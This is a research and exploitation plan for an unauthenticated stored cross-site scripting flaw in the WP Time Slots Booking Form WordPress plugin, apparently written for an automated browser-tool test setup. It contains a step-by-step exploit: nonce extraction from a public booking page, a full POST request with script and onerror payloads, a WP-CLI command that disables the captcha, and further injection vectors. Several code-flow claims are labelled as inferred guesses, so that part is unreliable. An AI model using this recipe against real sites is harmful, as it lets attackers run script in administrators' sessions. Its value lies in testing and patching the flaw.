WP Time Slots Booking Form <= 1.2.46 - Unauthenticated Stored Cross-Site Scripting

This research plan targets CVE-2026-40791, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the WP Time Slots Booking Form plugin.

1. Vulnerability Summary

The plugin fails to sanitize user-supplied data during the booking submission process and fails to escape that data when displaying it in the administrative "Booking Orders" list. An unauthenticated attacker can submit a booking request containing a malicious script in any form field. When an administrator views the bookings for that calendar, the script executes in their session context.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: cp_tslotsbooking_submit (Inferred from class prefix cp_tslotsbooking in cp-main-class.inc.php).
• Vulnerable Parameter: Any form field submitted via POST (e.g., email, or additional custom fields like fieldname2).
• Authentication: None required (unauthenticated).
• Preconditions: A booking form (calendar) must be published on a public page to obtain a valid submission nonce and the calendar ID (cal).

3. Code Flow

1. Submission (Source): An unauthenticated user submits a booking via AJAX. The plugin handles this in cp-main-class.inc.php (inside a method typically named submit or process_submission hooked to wp_ajax_nopriv_cp_tslotsbooking_submit).
2. Storage: The plugin iterates through $_POST data, serializes it, and inserts it into the $wpdb->prefix . "cptslotsbk_messages" table in the posted_data column.
3. Retrieval: An admin navigates to the "Booking Orders" page. cp-admin-int-message-list.inc.php is loaded.
4. Processing:
   • Line 116-121: The code fetches records from $this->table_messages (which is cptslotsbk_messages).
   • Line 144: The query results are stored in $events.
   • Line 70-76 (Example of processing): The code calls unserialize($myrows[0]->posted_data).
5. Rendering (Sink): Although truncated in the snippet, the plugin typically iterates through the deserialized posted_data and echoes the keys and values into a table for the administrator. Because no esc_html() or wp_kses() is applied during this output, the XSS triggers.

4. Nonce Acquisition Strategy

The booking submission requires a nonce generated for the specific form. This nonce is tied to the uid=0 (anonymous user) session.

1. Identify Shortcode: The default shortcode is [CP_TIME_SLOTS_BOOKING].
2. Create Test Page:

   wp post create --post_type=page --post_status=publish --post_title="Booking Test" --post_content='[CP_TIME_SLOTS_BOOKING id="1"]'
   

3. Navigate and Extract:
   Use browser_navigate to visit the new page.
   Use browser_eval to extract the nonce from the localized JavaScript configuration object.
   • Variable Name: cp_tslotsbooking_fbuilder_config
   • Nonce Path: cp_tslotsbooking_fbuilder_config.obj.nonce
   • Item ID: cp_tslotsbooking_fbuilder_config.obj.item_id (This confirms the cal ID).

5. Exploitation Strategy

The exploit involves a single POST request to the AJAX endpoint using the extracted nonce.

HTTP Request:

• Method: POST
• URL: http://<target>/wp-admin/admin-ajax.php?action=cp_tslotsbooking_submit
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • cp_tslotsbooking_nonce: [EXTRACTED_NONCE]
  • item: 1 (The calendar ID)
  • fieldname1_date: 2025-12-25 (Required for valid booking)
  • fieldname1_slot: 08:00 - 09:00 (Required for valid booking)
  • email: admin@victim.com"><script>alert(document.domain)</script>
  • fieldname2: <img src=x onerror=alert("XSS")> (Additional field often stored)

6. Test Data Setup

1. Ensure the plugin is activated.
2. The default "Form 1" (ID 1) is created upon installation (as seen in _install in cp-main-class.inc.php).
3. Create a public page with the shortcode [CP_TIME_SLOTS_BOOKING id="1"].
4. Ensure no Captcha is blocking the request (the default is true, so the PoC may need to disable it via WP-CLI: wp option update cp_tslotsbooking_cv_enable_captcha 'false').

7. Expected Results

• The admin-ajax.php response should indicate a successful submission (usually a redirect URL or a JSON success message).
• When an admin visits /wp-admin/admin.php?page=cp_timeslotsbooking&cal=1&acc=messages, the JavaScript payload will execute.

8. Verification Steps

After sending the HTTP request, verify the storage via WP-CLI:

# Check the cptslotsbk_messages table for the payload
wp db query "SELECT posted_data FROM wp_cptslotsbk_messages ORDER BY id DESC LIMIT 1"

The output should contain the serialized XSS string.

9. Alternative Approaches

If fieldname1 submission is too complex due to date/time logic:

• Inject via Search: cp-admin-int-message-list.inc.php line 116 uses $_GET["search"] in a SQL query but then likely reflects it in the "Results for: ..." text. Test admin.php?page=cp_timeslotsbooking&cal=1&acc=messages&search=<script>alert(1)</script>.
• Status Update: If an unauthenticated user can trigger a status update (unlikely due to admin checks), the status parameter in update_status might be a sink.
• Manual Update Sink: Line 72 uses $_GET["status"] to update posted_data via the lu (load update) parameter. If this can be reached, it's an alternative storage vector.